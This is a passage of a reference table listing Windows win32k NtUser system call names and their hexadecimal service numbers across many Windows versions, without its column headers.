NtUserGetClipCursor |     |     |     |  0x1163  |     |     |  0x117f  |     |  0x117f  |     |  0x118a  |  0x118a  |  0x118a  |     |  0x1189  |  0x1189  |  0x1198  |  0x1198  |  0x1198  |     |  0x1198  |     |  0x119d   
NtUserGetClipboardData |     |     |     |  0x1165  |     |     |  0x117a  |     |  0x117a  |     |  0x1185  |  0x1185  |  0x1185  |     |  0x1184  |  0x1184  |  0x1193  |  0x1193  |  0x1193  |     |  0x1193  |     |  0x1198   
NtUserGetClipboardFormatName |     |     |     |  0x1166  |     |     |  0x117b  |     |  0x117b  |     |  0x1186  |  0x1186  |  0x1186  |     |  0x1185  |  0x1185  |  0x1194  |  0x1194  |  0x1194  |     |  0x1194  |     |  0x1199   
NtUserGetClipboardOwner |     |     |     |  0x1167  |     |     |  0x117c  |     |  0x117c  |     |  0x1187  |  0x1187  |  0x1187  |     |  0x1186  |  0x1186  |  0x1195  |  0x1195  |  0x1195  |     |  0x1195  |     |  0x119a   
NtUserGetClipboardSequenceNumber |     |     |     |     |     |     |  0x117d  |     |  0x117d  |     |  0x1188  |  0x1188  |  0x1188  |     |  0x1187  |  0x1187  |  0x1196  |  0x1196  |  0x1196  |     |  0x1196  |     |  0x119b   
NtUserGetClipboardViewer |     |     |     |  0x1168  |     |     |  0x117e  |     |  0x117e  |     |  0x1189  |  0x1189  |  0x1189  |     |  0x1188  |  0x1188  |  0x1197  |  0x1197  |  0x1197  |     |  0x1197  |     |  0x119c   
NtUserGetComboBoxInfo |     |     |     |     |     |     |  0x1180  |     |  0x1180  |     |  0x118b  |  0x118b  |  0x118b  |     |  0x118a  |  0x118a  |  0x1199  |  0x1199  |  0x1199  |     |  0x1199  |     |  0x119e   
NtUserGetControlBrush |     |     |     |  0x1169  |     |     |  0x1181  |     |  0x1181  |     |  0x118c  |  0x118c  |  0x118c  |     |  0x118b  |  0x118b  |  0x119a  |  0x119a  |  0x119a  |     |  0x119a  |     |  0x119f   
NtUserGetControlColor |     |     |     |  0x116a  |     |     |  0x1182  |     |  0x1182  |     |  0x118d  |  0x118d  |  0x118d  |     |  0x118c  |  0x118c  |  0x119b  |  0x119b  |  0x119b  |     |  0x119b  |     |  0x11a0   
NtUserGetCursorFrameInfo |     |     |     |     |     |     |  0x1184  |     |  0x1184  |     |  0x118f  |  0x118f  |  0x118f  |     |  0x118e  |  0x118e  |  0x119d  |  0x119d  |  0x119d  |     |  0x119d  |     |  0x11a2   
NtUserGetCursorInfo |     |     |     |  0x116c  |     |     |  0x1185  |     |  0x1185  |     |  0x1190  |  0x1190  |  0x1190  |     |  0x118f  |  0x118f  |  0x119e  |  0x119e  |  0x119e  |     |  0x119e  |     |  0x11a3   
NtUserGetDC |     |     |     |  0x116d  |     |     |  0x1186  |     |  0x1186  |     |  0x1191  |  0x1191  |  0x1191  |     |  0x1190  |  0x1190  |  0x119f  |  0x119f  |  0x119f  |     |  0x119f  |     |  0x11a4   
NtUserGetDCEx |     |     |     |  0x116e  |     |     |  0x1187  |     |  0x1187  |     |  0x1192  |  0x1192  |  0x1192  |     |  0x1191  |  0x1191  |  0x11a0  |  0x11a0  |  0x11a0  |     |  0x11a0  |     |  0x11a5   
NtUserGetDisplayConfigBufferSizes |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1152   
NtUserGetDoubleClickTime |     |     |     |  0x116f  |     |     |  0x1188  |     |  0x1188  |     |  0x1193  |  0x1193  |  0x1193  |     |  0x1192  |  0x1192  |  0x11a1  |  0x11a1  |  0x11a1  |     |  0x11a1  |     |  0x11a6   
NtUserGetForegroundWindow |     |     |     |  0x1175  |     |     |  0x1189  |     |  0x1189  |     |  0x1194  |  0x1194  |  0x1194  |     |  0x1193  |  0x1193  |  0x11a2  |  0x11a2  |  0x11a2  |     |  0x11a2  |     |  0x11a7   
NtUserGetGUIThreadInfo |     |     |     |  0x1170  |     |     |  0x118b  |     |  0x118b  |     |  0x1196  |  0x1196  |  0x1196  |     |  0x1195  |  0x1195  |  0x11a4  |  0x11a4  |  0x11a4  |     |  0x11a4  |     |  0x11a9   
NtUserGetGestureConfig |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1297   
NtUserGetGestureExtArgs |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1294   
NtUserGetGestureInfo |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1293   
NtUserGetGuiResources |     |     |     |     |     |     |  0x118a  |     |  0x118a  |     |  0x1195  |  0x1195  |  0x1195  |     |  0x1194  |  0x1194  |  0x11a3  |  0x11a3  |  0x11a3  |     |  0x11a3  |     |  0x11a8   
NtUserGetIconInfo |     |     |     |  0x1171  |     |     |  0x118c  |     |  0x118c  |     |  0x1197  |  0x1197  |  0x1197  |     |  0x1196  |  0x1196  |  0x11a5  |  0x11a5  |  0x11a5  |     |  0x11a5  |     |  0x11aa   
NtUserGetIconSize |     |     |     |  0x1172  |     |     |  0x118d  |     |  0x118d  |     |  0x1198  |  0x1198  |  0x1198  |     |  0x1197  |  0x1197  |  0x11a6  |  0x11a6  |  0x11a6  |     |  0x11a6  |     |  0x11ab   
NtUserGetImeHotKey |     |     |     |     |     |     |  0x118e  |     |  0x118e  |     |  0x1199  |  0x1199  |  0x1199  |     |  0x1198  |  0x1198  |  0x11a7  |  0x11a7  |  0x11a7  |     |  0x11a7  |     |  0x11ac   
NtUserGetImeInfoEx |     |     |     |     |     |     |  0x118f  |     |  0x118f  |     |  0x119a  |  0x119a  |  0x119a  |     |  0x1199  |  0x1199  |  0x11a8  |  0x11a8  |  0x11a8  |     |  0x11a8  |     |  0x11ad   
NtUserGetInputEvent |     |     |     |  0x1173  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserGetInputLocaleInfo |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11ae   
NtUserGetInternalWindowPos |     |     |     |  0x1174  |     |     |  0x1190  |     |  0x1190  |     |  0x119b  |  0x119b  |  0x119b  |     |  0x119a  |  0x119a  |  0x11a9  |  0x11a9  |  0x11a9  |     |  0x11a9  |     |  0x11af   
NtUserGetKeyNameText |     |     |     |  0x1179  |     |     |  0x1194  |     |  0x1194  |     |  0x119f  |  0x119f  |  0x119f  |     |  0x119e  |  0x119e  |  0x11ad  |  0x11ad  |  0x11ad  |     |  0x11ad  |     |  0x11b3   
NtUserGetKeyState |     |     |     |  0x117a  |     |     |  0x1195  |     |  0x1195  |     |  0x11a0  |  0x11a0  |  0x11a0  |     |  0x119f  |  0x119f  |  0x11ae  |  0x11ae  |  0x11ae  |     |  0x11ae  |     |  0x11b4   
NtUserGetKeyboardLayoutList |     |     |     |  0x1177  |     |     |  0x1191  |     |  0x1191  |     |  0x119c  |  0x119c  |  0x119c  |     |  0x119b  |  0x119b  |  0x11aa  |  0x11aa  |  0x11aa  |     |  0x11aa  |     |  0x11b0   
NtUserGetKeyboardLayoutName |     |     |     |  0x1176  |     |     |  0x1192  |     |  0x1192  |     |  0x119d  |  0x119d  |  0x119d  |     |  0x119c  |  0x119c  |  0x11ab  |  0x11ab  |  0x11ab  |     |  0x11ab  |     |  0x11b1   
NtUserGetKeyboardState |     |     |     |  0x1178  |     |     |  0x1193  |     |  0x1193  |     |  0x119e  |  0x119e  |  0x119e  |     |  0x119d  |  0x119d  |  0x11ac  |  0x11ac  |  0x11ac  |     |  0x11ac  |     |  0x11b2   
NtUserGetLayeredWindowAttributes |     |     |     |     |     |     |     |     |     |     |  0x1244  |  0x1244  |  0x1244  |     |  0x1240  |  0x1240  |  0x125c  |  0x125c  |  0x125c  |     |  0x125c  |     |  0x1269   
NtUserGetListBoxInfo |     |     |     |     |     |     |  0x1196  |     |  0x1196  |     |  0x11a1  |  0x11a1  |  0x11a1  |     |  0x11a0  |  0x11a0  |  0x11af  |  0x11af  |  0x11af  |     |  0x11af  |     |  0x11b5   
NtUserGetListboxString |     |     |     |  0x117b  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserGetMediaChangeEvents |     |     |     |  0x117c  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserGetMenuBarInfo |     |     |     |     |     |     |  0x1197  |     |  0x1197  |     |  0x11a2  |  0x11a2  |  0x11a2  |     |  0x11a1  |  0x11a1  |  0x11b0  |  0x11b0  |  0x11b0  |     |  0x11b0  |     |  0x11b6   
NtUserGetMenuIndex |     |     |     |  0x117d  |     |     |  0x1198  |     |  0x1198  |     |  0x11a3  |  0x11a3  |  0x11a3  |     |  0x11a2  |  0x11a2  |  0x11b1  |  0x11b1  |  0x11b1  |     |  0x11b1  |     |  0x11b7   
NtUserGetMenuItemRect |     |     |     |  0x117e  |     |     |  0x1199  |     |  0x1199  |     |  0x11a4  |  0x11a4  |  0x11a4  |     |  0x11a3  |  0x11a3  |  0x11b2  |  0x11b2  |  0x11b2  |     |  0x11b2  |     |  0x11b8   
NtUserGetMessage |     |     |     |  0x117f  |     |     |  0x119a  |     |  0x119a  |     |  0x11a5  |  0x11a5  |  0x11a5  |     |  0x11a4  |  0x11a4  |  0x11b3  |  0x11b3  |  0x11b3  |     |  0x11b3  |     |  0x11b9   
NtUserGetMouseMovePointsEx |     |     |     |     |     |     |  0x119b  |     |  0x119b  |     |  0x11a6  |  0x11a6  |  0x11a6  |     |  0x11a5  |  0x11a5  |  0x11b4  |  0x11b4  |  0x11b4  |     |  0x11b4  |     |  0x11ba   
NtUserGetObjectInformation |     |     |     |  0x1180  |     |     |  0x119c  |     |  0x119c  |     |  0x11a7  |  0x11a7  |  0x11a7  |     |  0x11a6  |  0x11a6  |  0x11b5  |  0x11b5  |  0x11b5  |     |  0x11b5  |     |  0x11bb   
NtUserGetOpenClipboardWindow |     |     |     |  0x1181  |     |     |  0x119d  |     |  0x119d  |     |  0x11a8  |  0x11a8  |  0x11a8  |     |  0x11a7  |  0x11a7  |  0x11b6  |  0x11b6  |  0x11b6  |     |  0x11b6  |     |  0x11bc   
NtUserGetPriorityClipboardFormat |     |     |     |  0x1182  |     |     |  0x119e  |     |  0x119e  |     |  0x11a9  |  0x11a9  |  0x11a9  |     |  0x11a8  |  0x11a8  |  0x11b7  |  0x11b7  |  0x11b7  |     |  0x11b7  |     |  0x11bd   
NtUserGetProcessWindowStation |     |     |     |  0x1183  |     |     |  0x119f  |     |  0x119f  |     |  0x11aa  |  0x11aa  |  0x11aa  |     |  0x11a9  |  0x11a9  |  0x11b8  |  0x11b8  |  0x11b8  |     |  0x11b8  |     |  0x11be   
NtUserGetProp |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1228  |  0x1228  |  0x1228  |     |  0x1228  |     |  0x1232   
NtUserGetRawInputBuffer |     |     |     |     |     |     |     |     |     |     |  0x11ab  |  0x11ab  |  0x11ab  |     |  0x11aa  |  0x11aa  |  0x11b9  |  0x11b9  |  0x11b9  |     |  0x11b9  |     |  0x11bf   
NtUserGetRawInputData |     |     |     |     |     |     |     |     |     |     |  0x11ac  |  0x11ac  |  0x11ac  |     |  0x11ab  |  0x11ab  |  0x11ba  |  0x11ba  |  0x11ba  |     |  0x11ba  |     |  0x11c0   
NtUserGetRawInputDeviceInfo |     |     |     |     |     |     |     |     |     |     |  0x11ad  |  0x11ad  |  0x11ad  |     |  0x11ac  |  0x11ac  |  0x11bb  |  0x11bb  |  0x11bb  |     |  0x11bb  |     |  0x11c1   
NtUserGetRawInputDeviceList |     |     |     |     |     |     |     |     |     |     |  0x11ae  |  0x11ae  |  0x11ae  |     |  0x11ad  |  0x11ad  |  0x11bc  |  0x11bc  |  0x11bc  |     |  0x11bc  |     |  0x11c2   
NtUserGetRegisteredRawInputDevices |     |     |     |     |     |     |     |     |     |     |  0x11af  |  0x11af  |  0x11af  |     |  0x11ae  |  0x11ae  |  0x11bd  |  0x11bd  |  0x11bd  |     |  0x11bd  |     |  0x11c3   
NtUserGetScrollBarInfo |     |     |     |     |     |     |  0x11a0  |     |  0x11a0  |     |  0x11b0  |  0x11b0  |  0x11b0  |     |  0x11af  |  0x11af  |  0x11be  |  0x11be  |  0x11be  |     |  0x11be  |     |  0x11c4   
NtUserGetStats |     |     |     |  0x1184  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserGetSystemMenu |     |     |     |  0x1185  |     |     |  0x11a1  |     |  0x11a1  |     |  0x11b1  |  0x11b1  |  0x11b1  |     |  0x11b0  |  0x11b0  |  0x11bf  |  0x11bf  |  0x11bf  |     |  0x11bf  |     |  0x11c5   
NtUserGetThreadDesktop |     |     |     |  0x1186  |     |     |  0x11a2  |     |  0x11a2  |     |  0x11b2  |  0x11b2  |  0x11b2  |     |  0x11b1  |  0x11b1  |  0x11c0  |  0x11c0  |  0x11c0  |     |  0x11c0  |     |  0x11c6   
NtUserGetThreadState |     |     |     |  0x1187  |     |     |  0x11a3  |     |  0x11a3  |     |  0x11b3  |  0x11b3  |  0x11b3  |     |  0x11b2  |  0x11b2  |  0x11c1  |  0x11c1  |  0x11c1  |     |  0x11c1  |     |  0x11c7   
NtUserGetTitleBarInfo |     |     |     |     |     |     |  0x11a4  |     |  0x11a4  |     |  0x11b4  |  0x11b4  |  0x11b4  |     |  0x11b3  |  0x11b3  |  0x11c2  |  0x11c2  |  0x11c2  |     |  0x11c2  |     |  0x11c8   
NtUserGetTopLevelWindow |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11c9   
NtUserGetTouchInputInfo |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1290   
NtUserGetUpdateRect |     |     |     |  0x1188  |     |     |  0x11a5  |     |  0x11a5  |     |  0x11b5  |  0x11b5  |  0x11b5  |     |  0x11b4  |  0x11b4  |  0x11c4  |  0x11c4  |  0x11c4  |     |  0x11c4  |     |  0x11cb   
NtUserGetUpdateRgn |     |     |     |  0x1189  |     |     |  0x11a6  |     |  0x11a6  |     |  0x11b6  |  0x11b6  |  0x11b6  |     |  0x11b5  |  0x11b5  |  0x11c5  |  0x11c5  |  0x11c5  |     |  0x11c5  |     |  0x11cc   
NtUserGetUpdatedClipboardFormats |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11c3  |  0x11c3  |  0x11c3  |     |  0x11c3  |     |  0x11ca   
NtUserGetUserStartupInfoFlags |     |     |     |  0x118a  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserGetWOWClass |     |     |     |  0x1164  |     |     |  0x11a9  |     |  0x11a9  |     |  0x11b9  |  0x11b9  |  0x11b9  |     |  0x11b8  |  0x11b8  |  0x11c8  |  0x11c8  |  0x11c8  |     |  0x11c8  |     |  0x11d2   
NtUserGetWindowCompositionAttribute |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11ce   
NtUserGetWindowCompositionInfo |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11cd   
NtUserGetWindowDC |     |     |     |  0x118b  |     |     |  0x11a7  |     |  0x11a7  |     |  0x11b7  |  0x11b7  |  0x11b7  |     |  0x11b6  |  0x11b6  |  0x11c6  |  0x11c6  |  0x11c6  |     |  0x11c6  |     |  0x11cf   
NtUserGetWindowDisplayAffinity |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11d0   
NtUserGetWindowMinimizeRect |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1277  |  0x1277  |  0x1277  |     |  0x1277  |     |  0x1281   
NtUserGetWindowPlacement |     |     |     |  0x118c  |     |     |  0x11a8  |     |  0x11a8  |     |  0x11b8  |  0x11b8  |  0x11b8  |     |  0x11b7  |  0x11b7  |  0x11c7  |  0x11c7  |  0x11c7  |     |  0x11c7  |     |  0x11d1   
NtUserGetWindowRgnEx |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x123a  |  0x123a  |  0x123a  |     |  0x123a  |     |  0x1246   
NtUserGhostWindowFromHungWindow |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11c9  |  0x11c9  |  0x11c9  |     |  0x11c9  |     |  0x11d3   
NtUserHardErrorControl |     |     |     |  0x118d  |     |     |  0x11aa  |     |  0x11aa  |     |  0x11ba  |  0x11ba  |  0x11ba  |     |  0x11b9  |  0x11b9  |  0x11ca  |  0x11ca  |  0x11ca  |     |  0x11ca  |     |  0x11d4   
NtUserHideCaret |     |     |     |  0x118e  |     |     |  0x11ab  |     |  0x11ab  |     |  0x11bb  |  0x11bb  |  0x11bb  |     |  0x11ba  |  0x11ba  |  0x11cb  |  0x11cb  |  0x11cb  |     |  0x11cb  |     |  0x11d5   
NtUserHiliteMenuItem |     |     |     |  0x118f  |     |     |  0x11ac  |     |  0x11ac  |     |  0x11bc  |  0x11bc  |  0x11bc  |     |  0x11bb  |  0x11bb  |  0x11cc  |  0x11cc  |  0x11cc  |     |  0x11cc  |     |  0x11d6   
NtUserHungWindowFromGhostWindow |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11cd  |  0x11cd  |  0x11cd  |     |  0x11cd  |     |  0x11d7   
NtUserHwndQueryRedirectionInfo |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1337   
NtUserHwndSetRedirectionInfo |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1338   
NtUserImpersonateDdeClientWindow |     |     |     |  0x1190  |     |     |  0x11ad  |     |  0x11ad  |     |  0x11bd  |  0x11bd  |  0x11bd  |     |  0x11bc  |  0x11bc  |  0x11ce  |  0x11ce  |  0x11ce  |     |  0x11ce  |     |  0x11d8   
NtUserInitBrushes |     |     |     |  0x1191  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserInitTask |     |     |     |  0x1194  |     |     |  0x11b0  |     |  0x11b0  |     |  0x11c0  |  0x11c0  |  0x11c0  |     |  0x11bf  |  0x11bf  |  0x11d1  |  0x11d1  |  0x11d1  |     |  0x11d1  |     |  0x11db   
NtUserInitialize |     |     |     |  0x1192  |     |     |  0x11ae  |     |  0x11ae  |     |  0x11be  |  0x11be  |  0x11be  |     |  0x11bd  |  0x11bd  |  0x11cf  |  0x11cf  |  0x11cf  |     |  0x11cf  |     |  0x11d9   
NtUserInitializeClientPfnArrays |     |     |     |  0x1193  |     |     |  0x11af  |     |  0x11af  |     |  0x11bf  |  0x11bf  |  0x11bf  |     |  0x11be  |  0x11be  |  0x11d0  |  0x11d0  |  0x11d0  |     |  0x11d0  |     |  0x11da   
NtUserInjectGesture |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1292   
NtUserInternalGetWindowIcon |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11d3  |  0x11d3  |  0x11d3  |     |  0x11d3  |     |  0x11dd   
NtUserInternalGetWindowText |     |     |     |  0x1195  |     |     |  0x11b1  |     |  0x11b1  |     |  0x11c1  |  0x11c1  |  0x11c1  |     |  0x11c0  |  0x11c0  |  0x11d2  |  0x11d2  |  0x11d2  |     |  0x11d2  |     |  0x11dc   
NtUserInvalidateRect |     |     |     |  0x1196  |     |     |  0x11b2  |     |  0x11b2  |     |  0x11c2  |  0x11c2  |  0x11c2  |     |  0x11c1  |  0x11c1  |  0x11d4  |  0x11d4  |  0x11d4  |     |  0x11d4  |     |  0x11de   
NtUserInvalidateRgn |     |     |     |  0x1197  |     |     |  0x11b3  |     |  0x11b3  |     |  0x11c3  |  0x11c3  |  0x11c3  |     |  0x11c2  |  0x11c2  |  0x11d5  |  0x11d5  |  0x11d5  |     |  0x11d5  |     |  0x11df   
NtUserIsClipboardFormatAvailable |     |     |     |  0x1198  |     |     |  0x11b4  |     |  0x11b4  |     |  0x11c4  |  0x11c4  |  0x11c4  |     |  0x11c3  |  0x11c3  |  0x11d6  |  0x11d6  |  0x11d6  |     |  0x11d6  |     |  0x11e0   
NtUserIsTopLevelWindow |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11e1   
NtUserIsTouchWindow |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x128d   
NtUserKillTimer |     |     |     |  0x1199  |     |     |  0x11b5  |     |  0x11b5  |     |  0x11c5  |  0x11c5  |  0x11c5  |     |  0x11c4  |  0x11c4  |  0x11d7  |  0x11d7  |  0x11d7  |     |  0x11d7  |     |  0x11e2   
NtUserLoadKeyboardLayoutEx |     |     |     |  0x119a  |     |     |  0x11b6  |     |  0x11b6  |     |  0x11c6  |  0x11c6  |  0x11c6  |     |  0x11c5  |  0x11c5  |  0x11d8  |  0x11d8  |  0x11d8  |     |  0x11d8  |     |  0x11e3   
NtUserLockWindowStation |     |     |     |  0x119b  |     |     |  0x11b7  |     |  0x11b7  |     |  0x11c7  |  0x11c7  |  0x11c7  |     |  0x11c6  |  0x11c6  |  0x11d9  |  0x11d9  |  0x11d9  |     |  0x11d9  |     |  0x11e4   
NtUserLockWindowUpdate |     |     |     |  0x119c  |     |     |  0x11b8  |     |  0x11b8  |     |  0x11c8  |  0x11c8  |  0x11c8  |     |  0x11c7  |  0x11c7  |  0x11da  |  0x11da  |  0x11da  |     |  0x11da  |     |  0x11e5   
NtUserLockWorkStation |     |     |     |     |     |     |  0x11b9  |     |  0x11b9  |     |  0x11c9  |  0x11c9  |  0x11c9  |     |  0x11c8  |  0x11c8  |  0x11db  |  0x11db  |  0x11db  |     |  0x11db  |     |  0x11e6   
NtUserLogicalToPhysicalPoint |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11dc  |  0x11dc  |  0x11dc  |     |  0x11dc  |     |  0x11e7   
NtUserMNDragLeave |     |     |     |     |     |     |  0x11be  |     |  0x11be  |     |  0x11ce  |  0x11ce  |  0x11ce  |     |  0x11cd  |  0x11cd  |  0x11e1  |  0x11e1  |  0x11e1  |     |  0x11e1  |     |  0x11ec   
NtUserMNDragOver |     |     |     |     |     |     |  0x11bf  |     |  0x11bf  |     |  0x11cf  |  0x11cf  |  0x11cf  |     |  0x11ce  |  0x11ce  |  0x11e2  |  0x11e2  |  0x11e2  |     |  0x11e2  |     |  0x11ed   
NtUserMagControl |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1334   
NtUserMagGetContextInformation |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1336   
NtUserMagSetContextInformation |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1335   
NtUserManageGestureHandlerWindow |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1295   
NtUserMapVirtualKeyEx |     |     |     |  0x119d  |     |     |  0x11ba  |     |  0x11ba  |     |  0x11ca  |  0x11ca  |  0x11ca  |     |  0x11c9  |  0x11c9  |  0x11dd  |  0x11dd  |  0x11dd  |     |  0x11dd  |     |  0x11e8   
NtUserMenuItemFromPoint |     |     |     |  0x119e  |     |     |  0x11bb  |     |  0x11bb  |     |  0x11cb  |  0x11cb  |  0x11cb  |     |  0x11ca  |  0x11ca  |  0x11de  |  0x11de  |  0x11de  |     |  0x11de  |     |  0x11e9   
NtUserMessageCall |     |     |     |     |     |     |  0x11bc  |     |  0x11bc  |     |  0x11cc  |  0x11cc  |  0x11cc  |     |  0x11cb  |  0x11cb  |  0x11df  |  0x11df  |  0x11df  |     |  0x11df  |     |  0x11ea   
NtUserMinMaximize |     |     |     |  0x119f  |     |     |  0x11bd  |     |  0x11bd  |     |  0x11cd  |  0x11cd  |  0x11cd  |     |  0x11cc  |  0x11cc  |  0x11e0  |  0x11e0  |  0x11e0  |     |  0x11e0  |     |  0x11eb   
NtUserModifyUserStartupInfoFlags |     |     |     |     |     |     |  0x11c0  |     |  0x11c0  |     |  0x11d0  |  0x11d0  |  0x11d0  |     |  0x11cf  |  0x11cf  |  0x11e3  |  0x11e3  |  0x11e3  |     |  0x11e3  |     |  0x11ee   
NtUserModifyWindowTouchCapability |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x128c   
NtUserMoveWindow |     |     |     |  0x11a0  |     |     |  0x11c1  |     |  0x11c1  |     |  0x11d1  |  0x11d1  |  0x11d1  |     |  0x11d0  |  0x11d0  |  0x11e4  |  0x11e4  |  0x11e4  |     |  0x11e4  |     |  0x11ef   
NtUserNotifyIMEStatus |     |     |     |     |     |     |  0x11c2  |     |  0x11c2  |     |  0x11d2  |  0x11d2  |  0x11d2  |     |  0x11d1  |  0x11d1  |  0x11e5  |  0x11e5  |  0x11e5  |     |  0x11e5  |     |  0x11f0   
NtUserNotifyProcessCreate |     |     |     |  0x11a1  |     |     |  0x11c3  |     |  0x11c3  |     |  0x11d3  |  0x11d3  |  0x11d3  |     |  0x11d2  |  0x11d2  |  0x11e6  |  0x11e6  |  0x11e6  |     |  0x11e6  |     |  0x11f1   
NtUserNotifyWinEvent |     |     |     |  0x11a2  |     |     |  0x11c4  |     |  0x11c4  |     |  0x11d4  |  0x11d4  |  0x11d4  |     |  0x11d3  |  0x11d3  |  0x11e7  |  0x11e7  |  0x11e7  |     |  0x11e7  |     |  0x11f2   
NtUserOpenClipboard |     |     |     |  0x11a3  |     |     |  0x11c5  |     |  0x11c5  |     |  0x11d5  |  0x11d5  |  0x11d5  |     |  0x11d4  |  0x11d4  |  0x11e8  |  0x11e8  |  0x11e8  |     |  0x11e8  |     |  0x11f3   
NtUserOpenDesktop |     |     |     |  0x11a4  |     |     |  0x11c6  |     |  0x11c6  |     |  0x11d6  |  0x11d6  |  0x11d6  |     |  0x11d5  |  0x11d5  |  0x11e9  |  0x11e9  |  0x11e9  |     |  0x11e9  |     |  0x11f4   
NtUserOpenInputDesktop |     |     |     |  0x11a5  |     |     |  0x11c7  |     |  0x11c7  |     |  0x11d7  |  0x11d7  |  0x11d7  |     |  0x11d6  |  0x11d6  |  0x11ea  |  0x11ea  |  0x11ea  |     |  0x11ea  |     |  0x11f5   
NtUserOpenThreadDesktop |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11eb  |  0x11eb  |  0x11eb  |     |  0x11eb  |     |  0x11f6   
NtUserOpenWindowStation |     |     |     |  0x11a6  |     |     |  0x11c8  |     |  0x11c8  |     |  0x11d8  |  0x11d8  |  0x11d8  |     |  0x11d7  |  0x11d7  |  0x11ec  |  0x11ec  |  0x11ec  |     |  0x11ec  |     |  0x11f7   
NtUserPaintDesktop |     |     |     |  0x11a7  |     |     |  0x11c9  |     |  0x11c9  |     |  0x11d9  |  0x11d9  |  0x11d9  |     |  0x11d8  |  0x11d8  |  0x11ed  |  0x11ed  |  0x11ed  |     |  0x11ed  |     |  0x11f8   
NtUserPaintMenuBar |     |     |     |     |     |     |     |     |     |     |  0x1237  |  0x1237  |  0x1237  |     |  0x1233  |  0x1233  |  0x124f  |  0x124f  |  0x124f  |     |  0x124f  |     |  0x125c   
NtUserPaintMonitor |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11ee  |  0x11ee  |  0x11ee  |     |  0x11ee  |     |  0x11f9   
NtUserPeekMessage |     |     |     |  0x11a8  |     |     |  0x11ca  |     |  0x11ca  |     |  0x11da  |  0x11da  |  0x11da  |     |  0x11d9  |  0x11d9  |  0x11ef  |  0x11ef  |  0x11ef  |     |  0x11ef  |     |  0x11fa   
NtUserPhysicalToLogicalPoint |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x11f0  |  0x11f0  |  0x11f0  |     |  0x11f0  |     |  0x11fb   
NtUserPlayEventSound |     |     |     |  0x11a9  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserPostMessage |     |     |     |  0x11aa  |     |     |  0x11cb  |     |  0x11cb  |     |  0x11db  |  0x11db  |  0x11db  |     |  0x11da  |  0x11da  |  0x11f1  |  0x11f1  |  0x11f1  |     |  0x11f1  |     |  0x11fc   
NtUserPostThreadMessage |     |     |     |  0x11ab  |     |     |  0x11cc  |     |  0x11cc  |     |  0x11dc  |  0x11dc  |  0x11dc  |     |  0x11db  |  0x11db  |  0x11f2  |  0x11f2  |  0x11f2  |     |  0x11f2  |     |  0x11fd   
NtUserPrintWindow |     |     |     |     |     |     |     |     |     |     |  0x11dd  |  0x11dd  |  0x11dd  |     |  0x11dc  |  0x11dc  |  0x11f3  |  0x11f3  |  0x11f3  |     |  0x11f3  |     |  0x11fe   
NtUserProcessConnect |     |     |     |  0x11ac  |     |     |  0x11cd  |     |  0x11cd  |     |  0x11de  |  0x11de  |  0x11de  |     |  0x11dd  |  0x11dd  |  0x11f4  |  0x11f4  |  0x11f4  |     |  0x11f4  |     |  0x11ff   
NtUserQueryDisplayConfig |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1154   
NtUserQueryInformationThread |     |     |     |  0x11ad  |     |     |  0x11ce  |     |  0x11ce  |     |  0x11df  |  0x11df  |  0x11df  |     |  0x11de  |  0x11de  |  0x11f5  |  0x11f5  |  0x11f5  |     |  0x11f5  |     |  0x1200   
NtUserQueryInputContext |     |     |     |     |     |     |  0x11cf  |     |  0x11cf  |     |  0x11e0  |  0x11e0  |  0x11e0  |     |  0x11df  |  0x11df  |  0x11f6  |  0x11f6  |  0x11f6  |     |  0x11f6  |     |  0x1201   
